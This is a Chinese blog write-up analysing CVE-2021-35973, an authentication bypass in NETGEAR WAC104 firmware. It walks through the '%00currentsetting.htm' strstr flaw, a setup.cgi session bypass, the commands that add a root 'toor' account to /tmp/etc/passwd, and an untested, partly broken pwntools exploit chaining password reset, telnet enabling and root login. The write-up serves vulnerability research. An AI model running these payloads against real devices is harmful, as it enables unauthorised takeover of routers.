CVE-2021-35973-IOT认证绕过分析

IOT类漏洞,认证绕过分析

WAC104 version < v1.0.4.15

固件下载地址下载相应版本即可。这里复现下载的是1.0.4.13版本的固件。
下载之后,把里面的img文件解包,就获得了文件系统。操作系统为32位mips小端。

0x00 漏洞分析

httpd认证绕过

NETGEAR WAC104 devices before 1.0.4.15 are affected by an authentication bypass vulnerability in /usr/sbin/mini_httpd, allowing an unauthenticated attacker to invoke any action by adding the &currentsetting.htm substring to the HTTP query

漏洞详情上说,在/usr/sbin/mini_httpd上存在认证漏洞,添加一个&curremtsetting.htm即可未授权访问资源。
逆向分析一下mini_httpd,本着假装不知道有漏洞的情况下,搜索字符串,定位到了一个熟悉的Basic(刚在某RCE看到这个认证选项),点开一看,果然是认证的界面。
Pasted image 20220809151409.png
然后追溯函数调用,最终得到调用链条
main -> sub_407A28() -> sub_406F24() -> sub_4016CC()

Pasted image 20220809152135.png
fork出来子进程执行,加上后面几个函数的内容,可能这就是处理http的开始了。进去之后,直接定位漏洞存在的位置。
然后就浅浅的逆向了一下这个mini_httpd。
大致的看了一下,处理的过程和其余的httpd类似,头部处理和uri处理,这里有个特别的参数,漏洞细节显示,未授权访问漏洞就在这个地方,这个flag值,在三个地方被设置为1.

Pasted image 20220809173603.png
第一处,有SOAPAction头部字段的时候,设计的初衷应该是可以任意访问soap的xml内容。此处还有一个小型的溢出,通过while循环,获得service的时候,没有检查service的长度,只是用冒号作为结尾,导致了可以在bss段进行任意写。

Pasted image 20220809173710.png
第二处,有setupwizard.cgi的字段时,此时如果被置为1,则有个exit,只有第一次启动系统才能绕过,所以前面两处置1都不可以利用。最后一次不恰当的使用strstr函数,

Pasted image 20220809173858.png
此处可以置1,本来是作为uri资源的,但是由于strstr没有00截断,而该httpd中又没有对00做校验,(虽然校验了..和/),这就导致了可以设置/uri%00currentsetting.htm来对任意资源越界访问。

Pasted image 20220809174130.png
且后续判断uri是否存在的时候,利用的大都是strlen等函数。

Pasted image 20220809175030.png
其中strlen被00截断了,stat64不知道,但是不是特别影响,因为uri长度就是由strlen来判断的。

大致逻辑懂了,资源调用的地方还没明白在哪里。

为了理清楚逻辑,检查了一下这个全局变量的交叉引用,然后找到了唯一一处判断。
Pasted image 20220810083929.png
此处,如果为1,则进入if分支,其中的sub_4062C0函数,检查wan之类的网络,一般都是返回True,所以此处,该函数直接返回了1。
而看向else分支,从.htpasswd文件中拿出数据,进行Basic验证,,

Pasted image 20220810084123.png
basic验证是一种http验证手段,可以在网上查到,其中特征比较明显的就是Basic字符串和base64解密。

看完上述代码就明白了,此处由于标志位的设定,直接返回了True,而不用通过下面的else身份验证,这就导致了未授权的访问出现。
payload = b"GET /uri%00currentsetting.htm HTTP/1.1"
这是GET类型的任意资源访问。

0x01 密码重置和保存

在httpd认证绕过的基础上,还有setup.cgi在利用httpd绕过的基础上存在非授权密码重置和保存。
setup.cgi中存在两个指令。

  1. todo=save_passwd
  2. todo=con_save_passwd
    第一条save,会校验old_passwd,校验的方法是从http_password中获得就密码,该接口在web端中使用。校验完毕之后会把新的密码存入http_password(http_password是NVRAM中的键)和/etc/htpasswd文件中。
    同时该请求需要带有id和sp两个会话认证的post参数。

第二条con_save_passwd,不需要旧密码,seebugs中描述如下

The second one (con_save_passwd) however doesn't require the old password, and happily changes the NVRAM "http_password" (only this one) to the provided one.
Example (incorporating the authentication bypass; this could be an XSRF from WAN as well):
GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
Host: aplogin

通过GET和Host的设置,可以直接设置NVRAM中存储的新密码。
做到这个之后,还需要做到把密码再写入/etc/passwd或/etc/htpasswd,这需要做一次系统的reboot或者使用第一条save接口。

这时候如果使用save接口,那么此时的http_password已经被改为了设定的新密码,所以这个利用这个接口传递密码到/etc/htpasswd变得可行。

为了达到以上目的,需要一个POST下的可用session。
下面提供两个步骤,第一个就是发生在setup.cgi中的session绕过,且重写密码,第二个是利用现有的漏洞和权限管理机制,给拿到的shell提权。

sesstion 认证绕过

setup.cgi中,也有一个session id的绕过,该文件位于/usr/sbin目录下,可由httpd认证绕过成功在未登录的状态下访问该资源。这个可执行文件没有那么复杂,是一个CGI资源,其中的一些变量都来自环境变量,main函数中,通过getenv函数向环境变量中的字符串获取参数。

Pasted image 20220810093350.png
首先main函数判断method是不是post,如果是post则进一步获得post传入的参数,然后判断sessionfile是否存在,存在则分别读出id和sp,其中sp就是session_fileSub_403F04函数就是读取session的内容,如果和id一样,则通过验证,这里可以设置以下payload。
id=0sp=ABC
可以看一下sub_403F04函数。

int __fastcall sub_403F04(int a1)
{
  int v1; // $v0
  int v2; // $s0
  int v4; // [sp+18h] [-8h] BYREF

  v4 = 0;
  v1 = fopen(a1, "r");
  v2 = v1;
  if ( v1 )
  {
    fscanf(v1, "%x", &v4);
    fclose(v2);
  }
  return v4;
}

默认返回是0,如果打开a1失败,则返回0,所以设置sp为一个不存在的文件,即可返回0,此时再设置id为0,就达到了绕过验证的目的。
这是POST类型的认证绕过,可以执行setup.cgi的一些动作。

然后执行 setup.cgi?todo=reboot或则save就可以实现更改密码了。

getshell和提权

同样的通过setup.cgi?todo=debug可以开启telnet端口反弹shell出来,但是拿到的仅仅是用户权限,在参考资料中提供一种方式,把新建的root权限用户密码写入/tmp/etc/passwd

To elevate privileges to root it's enough to run the following commands:

  cd /tmp/etc
  cp passwd passwdx
  echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx
  mv passwd old_passwd
  mv passwdx passwd

The commands above abuse the fact that:

  1. /etc/ points to /tmp/etc
  2. /tmp/etc/ directory has permissions set to 777 (rwxrwxrwx).

拿原版改了一个pwntools版本的,socket脚本实在是看着不舒服,没有设备,下面的poc还没测试过,想看原版poc的直接去下面的参考链接即可。还没拿到设备,qemu启环境起不来,patch了几个地方还是起不来,有了设备再调试下poc
exp

from pwn import *
import telnetlib
from time import sleep

context.log_level = 'debug'

IP = ""
PORT = 80

def action(data):
    p = remote(IP,PORT)
    p.send(data)
    sleep(3)
    p.recv()
    p.close()

def reset_session_state_or_sth():
    action(
        b'\r\n'.join([
            b"GET /401_access_denied.htm HTTP/1.5",
            b"Host: aplogin",
            b"", b""
            ])
            )

def enable_debug_mode():
    action(
        b'\r\n'.join([
            b"GET /setup.cgi?todo=debug%00currentsetting.htm HTTP/1.5",
            b"Host: aplogin",
            b"", b""
            ])
            )

def change_nvram_password(new_password):
    new_password = bytes(new_password, "utf-8")
    action(
        b'\r\n'.join([
            ( b"GET /setup.cgi?todo=con_save_passwd&"
            b"sysNewPasswd=%s&sysConfirmPasswd=%s"
            b"%%00currentsetting.htm HTTP/1.5" ) % (new_password, new_password),
            b"Host: aplogin",
            b"", b""
            ])
            )

def reboot():
    action(
        b'\r\n'.join([
            b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1",
            b"Host: aplogin",
            b"Content-Length: 11",
            b"Content-Type: application/x-www-form-urlencoded",
            b"",
            b"todo=reboot"
            ])
            )

def change_password_full(old_password, new_password):
    old_password = bytes(old_password, "utf-8")
    new_password = bytes(new_password, "utf-8")
    post_body = (
        b"sysOldPasswd=%s&sysNewPasswd=%s&sysConfirmPasswd=%s&"
        b"question1=1&answer1=a&question2=1&answer2=a&"
        b"todo=save_passwd&"
        b"this_file=PWD_password.htm&"
        b"next_file=PWD_password.htm&"
        b"SID=&h_enable_recovery=disable&"
        b"h_question1=1&h_question2=1"
        ) % (old_password, new_password, new_password)

    action(
        b'\r\n'.join([
            b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1",
            b"Host: aplogin",
            b"Content-Length: %i" % len(post_body),
            b"Content-Type: application/x-www-form-urlencoded",
            b"",
            post_body
            ])
            )

def add_root_user(password):
    p = remote(IP,23)
    t = telnetlib.Telnet()
    t.sock = p
    print(str(t.read_until(b"WAC104 login: "), "cp852"))
    t.write(b"admin\n")

    print(str(t.read_until(b"Password: "), "cp852"))
    t.write(bytes(password, "utf-8") + b"\n")

    print(str(t.read_until(b"$ "), "cp852"))
    # Adds root user named "toor" with password "AlaMaKota1234".
    t.write(
    b"cd /tmp/etc\n"
    b"cp passwd passwdx\n"
    b"echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx\n"
    b"mv passwd old_passwd\n"
    b"mv passwdx passwd\n"
    b"echo DONEMARKER\n"
    )

    print(str(t.read_until(b"DONEMARKER"), "cp852"))

    t.close()

def connect_as_root():
    p = remote(IP,23)
    t = telnetlib.Telnet()
    t.sock = p

    print(str(t.read_until(b"WAC104 login: "), "cp852"))
    t.write(b"toor\n")

    print(str(t.read_until(b"Password: "), "cp852"))
    t.write(b"AlaMaKota1234\n")

    t.interact()
    t.close()

print(("-" * 70) + " RESET SESSION STATE")
reset_session_state_or_sth()

print(("-" * 70) + " CHANGE NVRAM PASSWORD")
change_nvram_password(TEMP_PASSWORD)

print(("-" * 70) + " CHANGE FULL PASSWORD")
change_password_full(TEMP_PASSWORD, NEW_PASSWORD)

print(
  f"\n"
  f"From now you can login to the web interface using these credentials:\n"
  f"  admin / {NEW_PASSWORD}\n"
  f"\n"
  f"Press CTRL+C to stop here. Otherwise press ENTER to reboot the router, "
  f"enable telnetd, and run privilege escalation exploit.\n"
)

input()

print(("-" * 70) + " RESET SESSION STATE")
reset_session_state_or_sth()

print(("-" * 70) + " REBOOT")
reboot()

print(
  "\n"
  "Wait a few minutes for the device to restart and press ENTER to continue.\n"
)
input()

print(("-" * 70) + " ENABLE DEBUG MODE")
enable_debug_mode()

print(("-" * 70) + " WAITING 10 SECONDS FOR TELNETD")
time.sleep(10)

print(("-" * 70) + " TRYING TO GET ROOT")
for i in range(5):
  try:
    add_root_user(NEW_PASSWORD)
    break
  except socket.ConnectionRefusedError:
    print("Sleeping 5 more seconds...")
    time.sleep(5)

print(
  "\n"
  "In the future you can connect as root using these credentials:\n"
  "  toor / AlaMaKota1234\n"
  "\n"
)

print(("-" * 70) + " CONNECTING TO TELNETD AS ROOT")
connect_as_root()

0x02 PSV-2021-0133

这也是类似的绕过漏洞,同样出现在NETGEAR中。
参考链接:https://ssd-disclosure.com/ssd-advisory-netgear-d7000-authentication-bypass/
这里给个简介就行了,原理其实类似,不做过多记录。

LAB_000104f8:

DAT_0001d4ec_needs_auth = 0;

DAT_0001f24c = 0;

}

pcVar4 = (char *)FUN_0000b8f0(1);

iVar3 = strcasecmp(pcVar5,pcVar4);

if ((iVar3 == 0) &&

(pcVar6 = strstr(DAT_0001f330,"todo=PNPX_GetShareFolderList"), pcVar6 != (char *)0x0)) {

DAT_0001d4ec_needs_auth = 0;

}

其中todo=PNPX_GetShareFolderList使用strstr确定,所以同样的办法可以置flag为1,免去认证,进行任意资源访问。

0x03 思考

这类漏洞,存在的原因,可能是,有一类资源,他们的数据无关紧要,甚至是专门开放给用户的,设计者设计httpd这个项目的时候,考虑到这类资源可能会处于一个增长状态或者过多,静态添加起来复杂,所以设计了一些flag位,这些位置被常常置于请求头,或者一些别的地方,在资源请求之前,身份验证之前做一道验证,即可免去认证。

但是在实现上,使用了strstr函数,和一些别的函数,(可称为弱限制条件搜索函数),这些函数某种程度上减弱了对攻击者数据包的限制条件,导致了绕过认证的出现。

而其中的session字段绕过,可以说是纯纯的代码上的习惯,习惯性的return 0,可能在文件打开的时候,文件不存在直接抛出错误可能好一点。

strstr导致的类似漏洞还有
CVE-2020-15633
CVE-2019-17137

0x04 参考

https://www.seebug.org/vuldb/ssvid-99295

  • 发表于 2022-08-15 09:33:14
  • 阅读 ( 7411 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
就叫16385吧
就叫16385吧

11 篇文章

站长统计